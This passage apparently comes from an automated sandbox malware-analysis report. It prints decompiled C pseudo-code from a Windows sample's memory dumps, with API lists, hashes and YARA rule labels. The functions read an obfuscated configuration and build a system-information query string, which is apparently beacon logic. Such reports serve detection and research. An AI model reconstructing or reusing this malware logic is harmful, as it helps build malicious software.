Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 0ca8208cddfff3893b735030bfd39e1e093c7a77b395b3a9b8d29da22f7b4cd7
Instruction ID: a3687530912fd9de1e0723e7872537d1b4772435ae1ce86ec9dbf7bef1f84704
Opcode Fuzzy Hash: 0ca8208cddfff3893b735030bfd39e1e093c7a77b395b3a9b8d29da22f7b4cd7
Instruction Fuzzy Hash: FDF03C75C01219EFEB00DB94D488AEEB7B8EF04304F1484BBE512AB241D3B45B84CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0344A66E, Relevance: 1.3, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0344A66E(void* __edx, void* __edi, void* _a4) {
				int _t7;
				int _t13;

				_t7 = E03447323(__edx, __edi, _a4,  &_a4); // executed
				_t13 = _t7;
				if(_t13 != 0) {
					memcpy(__edi, _a4, _t13);
					 *((char*)(__edi + _t13)) = 0;
					E03449039(_a4);
				}
				return _t13;
			}

0x0344a67a
0x0344a67f
0x0344a683
0x0344a68a
0x0344a695
0x0344a699
0x0344a699
0x0344a6a2

APIs

Part of subcall function 03447323: memcpy.NTDLL(00000000,00000090,00000002,00000002,0344685F,00000008,0344685F,0344685F,?,0344858C,0344685F), ref: 03447359
Part of subcall function 03447323: memset.NTDLL ref: 034473CF
Part of subcall function 03447323: memset.NTDLL ref: 034473E3

memcpy.NTDLL(00000002,0344685F,00000000,00000002,0344685F,0344685F,0344685F,?,0344858C,0344685F,?,0344685F,00000002,?,?,03442417), ref: 0344A68A

Part of subcall function 03449039: HeapFree.KERNEL32(00000000,00000000,03447F18,00000000,?,?,00000000), ref: 03449045

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpymemset$FreeHeap
String ID:
API String ID: 3053036209-0
Opcode ID: 10b87d9068704a00f4c0b83e48a122f1ee3d32e81302abe31c4643e426d095cc
Instruction ID: ecffb0fca19fbef9594744be404462562d7b08c72852c10b6ca139ac96c0fae3
Opcode Fuzzy Hash: 10b87d9068704a00f4c0b83e48a122f1ee3d32e81302abe31c4643e426d095cc
Instruction Fuzzy Hash: 19E08636400328BBDB12AA95DC00EFFBF5D8F42590F044036FE488D200E631C51093E5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 03444094, Relevance: 9.2, APIs: 6, Instructions: 223
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E03444094(int* __ecx) {
				int _v8;
				void* _v12;
				void* __esi;
				signed int _t20;
				signed int _t25;
				char* _t31;
				char* _t32;
				char* _t33;
				char* _t34;
				char* _t35;
				void* _t36;
				void* _t37;
				void* _t38;
				intOrPtr _t39;
				void* _t41;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t46;
				intOrPtr _t49;
				signed int _t50;
				signed int _t55;
				void* _t57;
				void* _t58;
				signed int _t60;
				signed int _t64;
				signed int _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t85;
				intOrPtr _t102;

				_t86 = __ecx;
				_t20 =  *0x344d278; // 0x63699bc3
				if(E03448748( &_v12,  &_v8, _t20 ^ 0x8241c5a7) != 0 && _v8 >= 0x90) {
					 *0x344d2d4 = _v12;
				}
				_t25 =  *0x344d278; // 0x63699bc3
				if(E03448748( &_v12,  &_v8, _t25 ^ 0xecd84622) == 0) {
					_push(2);
					_pop(0);
					goto L60;
				} else {
					_t85 = _v12;
					if(_t85 == 0) {
						_t31 = 0;
					} else {
						_t80 =  *0x344d278; // 0x63699bc3
						_t31 = E03443F7C(_t86, _t85, _t80 ^ 0x724e87bc);
					}
					if(_t31 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t31, 0,  &_v8) != 0) {
							 *0x344d240 = _v8;
						}
					}
					if(_t85 == 0) {
						_t32 = 0;
					} else {
						_t76 =  *0x344d278; // 0x63699bc3
						_t32 = E03443F7C(_t86, _t85, _t76 ^ 0x2b40cc40);
					}
					if(_t32 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t32, 0,  &_v8) != 0) {
							 *0x344d244 = _v8;
						}
					}
					if(_t85 == 0) {
						_t33 = 0;
					} else {
						_t72 =  *0x344d278; // 0x63699bc3
						_t33 = E03443F7C(_t86, _t85, _t72 ^ 0x3b27c2e6);
					}
					if(_t33 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t33, 0,  &_v8) != 0) {
							 *0x344d248 = _v8;
						}
					}
					if(_t85 == 0) {
						_t34 = 0;
					} else {
						_t68 =  *0x344d278; // 0x63699bc3
						_t34 = E03443F7C(_t86, _t85, _t68 ^ 0x0602e249);
					}
					if(_t34 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t34, 0,  &_v8) != 0) {
							 *0x344d004 = _v8;
						}
					}
					if(_t85 == 0) {
						_t35 = 0;
					} else {
						_t64 =  *0x344d278; // 0x63699bc3
						_t35 = E03443F7C(_t86, _t85, _t64 ^ 0x3603764c);
					}
					if(_t35 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t35, 0,  &_v8) != 0) {
							 *0x344d02c = _v8;
						}
					}
					if(_t85 == 0) {
						_t36 = 0;
					} else {
						_t60 =  *0x344d278; // 0x63699bc3
						_t36 = E03443F7C(_t86, _t85, _t60 ^ 0x2cc1f2fd);
					}
					if(_t36 != 0) {
						_push(_t36);
						_t57 = 0x10;
						_t58 = E03446ED2(_t57);
						if(_t58 != 0) {
							_push(_t58);
							E0344A5D6();
						}
					}
					if(_t85 == 0) {
						_t37 = 0;
					} else {
						_t55 =  *0x344d278; // 0x63699bc3
						_t37 = E03443F7C(_t86, _t85, _t55 ^ 0xb30fc035);
					}
					if(_t37 != 0 && E03446ED2(0, _t37) != 0) {
						_t102 =  *0x344d32c; // 0x5a795b0
						E034475E9(_t102 + 4, _t53);
					}
					if(_t85 == 0) {
						_t38 = 0;
					} else {
						_t50 =  *0x344d278; // 0x63699bc3
						_t38 = E03443F7C(_t86, _t85, _t50 ^ 0x372ab5b7);
					}
					if(_t38 == 0) {
						L51:
						_t39 =  *0x344d27c; // 0x262a5a8
						_t18 = _t39 + 0x344e252; // 0x616d692f
						 *0x344d2d0 = _t18;
						goto L52;
					} else {
						_t49 = E03446ED2(0, _t38);
						 *0x344d2d0 = _t49;
						if(_t49 != 0) {
							L52:
							if(_t85 == 0) {
								_t41 = 0;
							} else {
								_t46 =  *0x344d278; // 0x63699bc3
								_t41 = E03443F7C(_t86, _t85, _t46 ^ 0xd8dc5cde);
							}
							if(_t41 == 0) {
								_t42 =  *0x344d27c; // 0x262a5a8
								_t19 = _t42 + 0x344e791; // 0x6976612e
								_t43 = _t19;
							} else {
								_t43 = E03446ED2(0, _t41);
							}
							 *0x344d340 = _t43;
							HeapFree( *0x344d238, 0, _t85);
							L60:
							return 0;
						}
						goto L51;
					}
				}
			}

0x03444094
0x03444097
0x034440b7
0x034440c5
0x034440c5
0x034440ca
0x034440e4
0x034442e2
0x034442e4
0x00000000
0x034440ea
0x034440ea
0x034440f1
0x03444107
0x034440f3
0x034440f3
0x03444100
0x03444100
0x03444111
0x03444113
0x0344411d
0x03444122
0x03444122
0x0344411d
0x03444129
0x0344413f
0x0344412b
0x0344412b
0x03444138
0x03444138
0x03444143
0x03444145
0x0344414f
0x03444154
0x03444154
0x0344414f
0x0344415b
0x03444171
0x0344415d
0x0344415d
0x0344416a
0x0344416a
0x03444175
0x03444177
0x03444181
0x03444186
0x03444186
0x03444181
0x0344418d
0x034441a3
0x0344418f
0x0344418f
0x0344419c
0x0344419c
0x034441a7
0x034441a9
0x034441b3
0x034441b8
0x034441b8
0x034441b3
0x034441bf
0x034441d5
0x034441c1
0x034441c1
0x034441ce
0x034441ce
0x034441d9
0x034441db
0x034441e5
0x034441ea
0x034441ea
0x034441e5
0x034441f1
0x03444207
0x034441f3
0x034441f3
0x03444200
0x03444200
0x0344420b
0x0344420d
0x03444210
0x03444211
0x03444218
0x0344421a
0x0344421b
0x0344421b
0x03444218
0x03444222
0x03444238
0x03444224
0x03444224
0x03444231
0x03444231
0x0344423c
0x0344424a
0x03444254
0x03444254
0x0344425b
0x03444271
0x0344425d
0x0344425d
0x0344426a
0x0344426a
0x03444275
0x03444288
0x03444288
0x0344428d
0x03444293
0x00000000
0x03444277
0x0344427a
0x03444281
0x03444286
0x03444298
0x0344429a
0x034442b0
0x0344429c
0x0344429c
0x034442a9
0x034442a9
0x034442b4
0x034442c0
0x034442c5
0x034442c5
0x034442b6
0x034442b9
0x034442b9
0x034442d3
0x034442d8
0x034442e5
0x034442e9
0x034442e9
0x00000000
0x03444286
0x03444275

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,034423DE,?,63699BC3,034423DE,?,63699BC3,00000005,0344D00C,00000008,?,034423DE), ref: 03444119
StrToIntExA.SHLWAPI(00000000,00000000,?,034423DE,?,63699BC3,034423DE,?,63699BC3,00000005,0344D00C,00000008,?,034423DE), ref: 0344414B
StrToIntExA.SHLWAPI(00000000,00000000,?,034423DE,?,63699BC3,034423DE,?,63699BC3,00000005,0344D00C,00000008,?,034423DE), ref: 0344417D
StrToIntExA.SHLWAPI(00000000,00000000,?,034423DE,?,63699BC3,034423DE,?,63699BC3,00000005,0344D00C,00000008,?,034423DE), ref: 034441AF
StrToIntExA.SHLWAPI(00000000,00000000,?,034423DE,?,63699BC3,034423DE,?,63699BC3,00000005,0344D00C,00000008,?,034423DE), ref: 034441E1
HeapFree.KERNEL32(00000000,034423DE,034423DE,?,63699BC3,034423DE,?,63699BC3,00000005,0344D00C,00000008,?,034423DE), ref: 034442D8

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7ec826b0db7da46a8110d70fbe439b289d71a480b47bcc305bbcc86500d81671
Instruction ID: 2032a534ebcab4fc0985b0c10a7622c11d0b22f3f2f7e458e0beb5f8ecdaf358
Opcode Fuzzy Hash: 7ec826b0db7da46a8110d70fbe439b289d71a480b47bcc305bbcc86500d81671
Instruction Fuzzy Hash: D16136B8A10214AFFB10EBB7DD88E5BB7E9BB496407284A37D511EF305E731D5418718

Uniqueness

Uniqueness Score: -1.00%

Function 0344A279, Relevance: 34.7, APIs: 23, Instructions: 201
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E0344A279(long __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, void* _a16, void* _a24, intOrPtr _a32) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v44;
				intOrPtr _v52;
				void* __edi;
				long _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t34;
				int _t37;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t50;
				intOrPtr _t54;
				intOrPtr* _t56;
				intOrPtr _t62;
				intOrPtr _t68;
				intOrPtr _t71;
				intOrPtr _t74;
				int _t77;
				intOrPtr _t78;
				int _t81;
				intOrPtr _t83;
				int _t86;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t91;
				void* _t95;
				void* _t96;
				void* _t97;
				intOrPtr _t98;
				void* _t100;
				int _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;

				_t95 = __edx;
				_t91 = __ecx;
				_t25 = __eax;
				_t105 = _a16;
				_v4 = 8;
				if(__eax == 0) {
					_t25 = GetTickCount();
				}
				_t26 =  *0x344d018; // 0x99c08bf
				asm("bswap eax");
				_t27 =  *0x344d014; // 0x3a87c8cd
				asm("bswap eax");
				_t28 =  *0x344d010; // 0xd8d2f808
				asm("bswap eax");
				_t29 =  *0x344d00c; // 0x62819102
				asm("bswap eax");
				_t30 =  *0x344d27c; // 0x262a5a8
				_t3 = _t30 + 0x344e633; // 0x74666f73
				_t101 = wsprintfA(_t105, _t3, 2, 0x3d14b, _t29, _t28, _t27, _t26,  *0x344d02c,  *0x344d004, _t25);
				_t33 = E03441C1A();
				_t34 =  *0x344d27c; // 0x262a5a8
				_t4 = _t34 + 0x344e673; // 0x74707526
				_t37 = wsprintfA(_t101 + _t105, _t4, _t33);
				_t108 = _t106 + 0x38;
				_t102 = _t101 + _t37;
				_t96 = E034454BC(_t91);
				if(_t96 != 0) {
					_t83 =  *0x344d27c; // 0x262a5a8
					_t6 = _t83 + 0x344e8eb; // 0x736e6426
					_t86 = wsprintfA(_t102 + _t105, _t6, _t96);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t86;
					HeapFree( *0x344d238, 0, _t96);
				}
				_t97 = E03447649();
				if(_t97 != 0) {
					_t78 =  *0x344d27c; // 0x262a5a8
					_t8 = _t78 + 0x344e8f3; // 0x6f687726
					_t81 = wsprintfA(_t102 + _t105, _t8, _t97);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t81;
					HeapFree( *0x344d238, 0, _t97);
				}
				_t98 =  *0x344d32c; // 0x5a795b0
				_a32 = E03449395(0x344d00a, _t98 + 4);
				_t42 =  *0x344d2cc; // 0x0
				if(_t42 != 0) {
					_t74 =  *0x344d27c; // 0x262a5a8
					_t11 = _t74 + 0x344e8cd; // 0x3d736f26
					_t77 = wsprintfA(_t102 + _t105, _t11, _t42);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t77;
				}
				_t43 =  *0x344d2c8; // 0x0
				if(_t43 != 0) {
					_t71 =  *0x344d27c; // 0x262a5a8
					_t13 = _t71 + 0x344e8c6; // 0x3d706926
					wsprintfA(_t102 + _t105, _t13, _t43);
				}
				if(_a32 != 0) {
					_t100 = RtlAllocateHeap( *0x344d238, 0, 0x800);
					if(_t100 != 0) {
						E03447A80(GetTickCount());
						_t50 =  *0x344d32c; // 0x5a795b0
						__imp__(_t50 + 0x40);
						asm("lock xadd [eax], ecx");
						_t54 =  *0x344d32c; // 0x5a795b0
						__imp__(_t54 + 0x40);
						_t56 =  *0x344d32c; // 0x5a795b0
						_t103 = E03448307(1, _t95, _t105,  *_t56);
						asm("lock xadd [eax], ecx");
						if(_t103 != 0) {
							StrTrimA(_t103, 0x344c2ac);
							_push(_t103);
							_t62 = E03443CC8();
							_v16 = _t62;
							if(_t62 != 0) {
								_t89 = __imp__;
								 *_t89(_t103, _v0);
								 *_t89(_t100, _a4);
								_t90 = __imp__;
								 *_t90(_t100, _v28);
								 *_t90(_t100, _t103);
								_t68 = E03441199(0xffffffffffffffff, _t100, _v28, _v24);
								_v52 = _t68;
								if(_t68 != 0 && _t68 != 0x10d2) {
									E0344A1B0();
								}
								HeapFree( *0x344d238, 0, _v44);
							}
							HeapFree( *0x344d238, 0, _t103);
						}
						HeapFree( *0x344d238, 0, _t100);
					}
					HeapFree( *0x344d238, 0, _a24);
				}
				HeapFree( *0x344d238, 0, _t105);
				return _a12;
			}

0x0344a279
0x0344a279
0x0344a279
0x0344a280
0x0344a286
0x0344a28e
0x0344a290
0x0344a290
0x0344a29d
0x0344a2a8
0x0344a2ab
0x0344a2b6
0x0344a2b9
0x0344a2be
0x0344a2c1
0x0344a2c6
0x0344a2c9
0x0344a2d5
0x0344a2e2
0x0344a2e4
0x0344a2ea
0x0344a2ef
0x0344a2fa
0x0344a2fc
0x0344a2ff
0x0344a306
0x0344a30a
0x0344a30c
0x0344a311
0x0344a31d
0x0344a31f
0x0344a32b
0x0344a32d
0x0344a32d
0x0344a338
0x0344a33c
0x0344a33e
0x0344a343
0x0344a34f
0x0344a351
0x0344a35d
0x0344a35f
0x0344a35f
0x0344a365
0x0344a378
0x0344a37c
0x0344a383
0x0344a386
0x0344a38b
0x0344a396
0x0344a398
0x0344a39b
0x0344a39b
0x0344a39d
0x0344a3a4
0x0344a3a7
0x0344a3ac
0x0344a3b6
0x0344a3b8
0x0344a3c0
0x0344a3d9
0x0344a3dd
0x0344a3e9
0x0344a3ee
0x0344a3f7
0x0344a408
0x0344a40c
0x0344a415
0x0344a41b
0x0344a428
0x0344a435
0x0344a43b
0x0344a447
0x0344a44d
0x0344a44e
0x0344a455
0x0344a459
0x0344a45f
0x0344a466
0x0344a46d
0x0344a473
0x0344a47a
0x0344a47e
0x0344a489
0x0344a490
0x0344a494
0x0344a49d
0x0344a49d
0x0344a4ae
0x0344a4ae
0x0344a4bd
0x0344a4bd
0x0344a4cc
0x0344a4cc
0x0344a4de
0x0344a4de
0x0344a4ed
0x0344a4fe

APIs

GetTickCount.KERNEL32 ref: 0344A290
wsprintfA.USER32 ref: 0344A2DD
wsprintfA.USER32 ref: 0344A2FA
wsprintfA.USER32 ref: 0344A31D
HeapFree.KERNEL32(00000000,00000000), ref: 0344A32D
wsprintfA.USER32 ref: 0344A34F
HeapFree.KERNEL32(00000000,00000000), ref: 0344A35F
wsprintfA.USER32 ref: 0344A396
wsprintfA.USER32 ref: 0344A3B6
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 0344A3D3
GetTickCount.KERNEL32 ref: 0344A3E3
RtlEnterCriticalSection.NTDLL(05A79570), ref: 0344A3F7
RtlLeaveCriticalSection.NTDLL(05A79570), ref: 0344A415

Part of subcall function 03448307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,73FCC740,?,?,0344A428,?,05A795B0), ref: 03448332
Part of subcall function 03448307: lstrlen.KERNEL32(?,?,?,0344A428,?,05A795B0), ref: 0344833A
Part of subcall function 03448307: strcpy.NTDLL ref: 03448351
Part of subcall function 03448307: lstrcat.KERNEL32(00000000,?), ref: 0344835C
Part of subcall function 03448307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,0344A428,?,05A795B0), ref: 03448379

StrTrimA.SHLWAPI(00000000,0344C2AC,?,05A795B0), ref: 0344A447

Part of subcall function 03443CC8: lstrlen.KERNEL32(05A79910,00000000,00000000,73FCC740,0344A453,00000000), ref: 03443CD8
Part of subcall function 03443CC8: lstrlen.KERNEL32(?), ref: 03443CE0
Part of subcall function 03443CC8: lstrcpy.KERNEL32(00000000,05A79910), ref: 03443CF4
Part of subcall function 03443CC8: lstrcat.KERNEL32(00000000,?), ref: 03443CFF

lstrcpy.KERNEL32(00000000,?), ref: 0344A466
lstrcpy.KERNEL32(00000000,00000000), ref: 0344A46D
lstrcat.KERNEL32(00000000,?), ref: 0344A47A
lstrcat.KERNEL32(00000000,00000000), ref: 0344A47E

Part of subcall function 03441199: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,76D681D0), ref: 0344124B

HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 0344A4AE
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0344A4BD
HeapFree.KERNEL32(00000000,00000000,?,05A795B0), ref: 0344A4CC
HeapFree.KERNEL32(00000000,00000000), ref: 0344A4DE
HeapFree.KERNEL32(00000000,?), ref: 0344A4ED

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$wsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 3080378247-0
Opcode ID: 36792cb38e9ee6b769e64b3b7295aa4686c4c74c5466dca6b566580f0a1b9dbf
Instruction ID: 19781d2b50f0f9a41e6fb43deb00a8554ead5b2271aebd0cdac2495e3a1ec2e2
Opcode Fuzzy Hash: 36792cb38e9ee6b769e64b3b7295aa4686c4c74c5466dca6b566580f0a1b9dbf
Instruction Fuzzy Hash: DA61CD79901200AFE721EFA5EC88F5A77E8FB49704F080135F908EF216DB35E8059B69

Uniqueness

Uniqueness Score: -1.00%

Function 0344ADE5, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0344ADE5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x3440000;
				_t115 = _t139[3] + 0x3440000;
				_t131 = _t139[4] + 0x3440000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x3440000;
				_v16 = _t139[5] + 0x3440000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x3440002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x344d1a0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x344d1a0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x344d1a0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x344d19c; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x344d1a0; // 0x0
					if(_t98 == 0) {
						L9:
						_t138 = LoadLibraryA(_v60);
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x344d198; // 0x0
										 *_t102 = _t125;
										 *0x344d198 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x344d19c; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x0344adf4
0x0344ae0a
0x0344ae10
0x0344ae12
0x0344ae17
0x0344ae1d
0x0344ae22
0x0344ae25
0x0344ae33
0x0344ae3a
0x0344ae3d
0x0344ae40
0x0344ae41
0x0344ae44
0x0344ae47
0x0344ae4a
0x0344ae4f
0x0344ae5e
0x00000000
0x0344ae64
0x0344ae6e
0x0344ae78
0x0344ae7d
0x0344ae7f
0x0344ae89
0x0344ae8c
0x0344ae8f
0x0344ae95
0x0344ae97
0x0344ae97
0x0344ae9a
0x0344ae9d
0x0344aea2
0x0344aea6
0x0344aeb9
0x0344aebb
0x0344af63
0x0344af63
0x0344af6a
0x0344af6d
0x0344af77
0x0344af77
0x0344af7b
0x0344aff9
0x0344affc
0x0344affe
0x0344affe
0x0344b005
0x0344b007
0x0344b011
0x0344b014
0x0344b017
0x0344b017
0x00000000
0x0344af7d
0x0344af80
0x0344afae
0x0344afb8
0x0344afbc
0x0344afc4
0x0344afc7
0x0344afce
0x0344afd8
0x0344afd8
0x0344afdc
0x0344afe1
0x0344aff0
0x0344aff6
0x0344aff6
0x0344afdc
0x00000000
0x0344af87
0x0344af8a
0x0344af92
0x0344afa7
0x0344afac
0x00000000
0x00000000
0x0344afac
0x00000000
0x0344af92
0x0344af80
0x0344af7b
0x0344aec1
0x0344aec8
0x0344aed8
0x0344aee1
0x0344aee5
0x0344af28
0x0344af34
0x0344af5d
0x0344af36
0x0344af3a
0x0344af40
0x0344af48
0x0344af4a
0x0344af4d
0x0344af53
0x0344af55
0x0344af55
0x0344af48
0x0344af3a
0x00000000
0x0344af34
0x0344aeed
0x0344aef0
0x0344aef7
0x0344af07
0x0344af0a
0x0344af1a
0x00000000
0x0344af20
0x0344af01
0x0344af05
0x00000000
0x00000000
0x00000000
0x0344af05
0x0344aed2
0x0344aed6
0x00000000
0x00000000
0x00000000
0x0344aed6
0x0344aeaf
0x0344aeb3
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0344AE5E
LoadLibraryA.KERNEL32(?), ref: 0344AEDB
GetLastError.KERNEL32 ref: 0344AEE7
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 0344AF1A

Strings

$, xrefs: 0344AE33

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: a01f3c5f822aa3ca05d04867e074baa378b18997784d2b0b8f84a7fcea5b04ad
Instruction ID: 727264910af83ade95e806bc2f9ef0a5d714e35bfe72b26203e5e79a8e05d648
Opcode Fuzzy Hash: a01f3c5f822aa3ca05d04867e074baa378b18997784d2b0b8f84a7fcea5b04ad
Instruction Fuzzy Hash: 99814CB5A40305AFEB10DF98D880AAEB7F5EF48314F18813AE915EB344EB70E945CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0344816C, Relevance: 13.6, APIs: 9, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E0344816C(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				intOrPtr _v20;
				signed int _v24;
				void* __esi;
				long _t43;
				intOrPtr _t44;
				intOrPtr _t46;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t54;
				intOrPtr _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				intOrPtr _t66;
				void* _t71;
				void* _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				intOrPtr* _t80;
				intOrPtr _t91;

				_t79 =  *0x344d33c; // 0x5a79bd8
				_v24 = 8;
				_t43 = GetTickCount();
				_push(5);
				_t74 = 0xa;
				_v16 = _t43;
				_t44 = E034470F5(_t74,  &_v16);
				_v8 = _t44;
				if(_t44 == 0) {
					_v8 = 0x344c1ac;
				}
				_t46 = E03448022(_t79);
				_v12 = _t46;
				if(_t46 != 0) {
					_t80 = __imp__;
					_t48 =  *_t80(_v8, _t71);
					_t49 =  *_t80(_v12);
					_t50 =  *_t80(_a4);
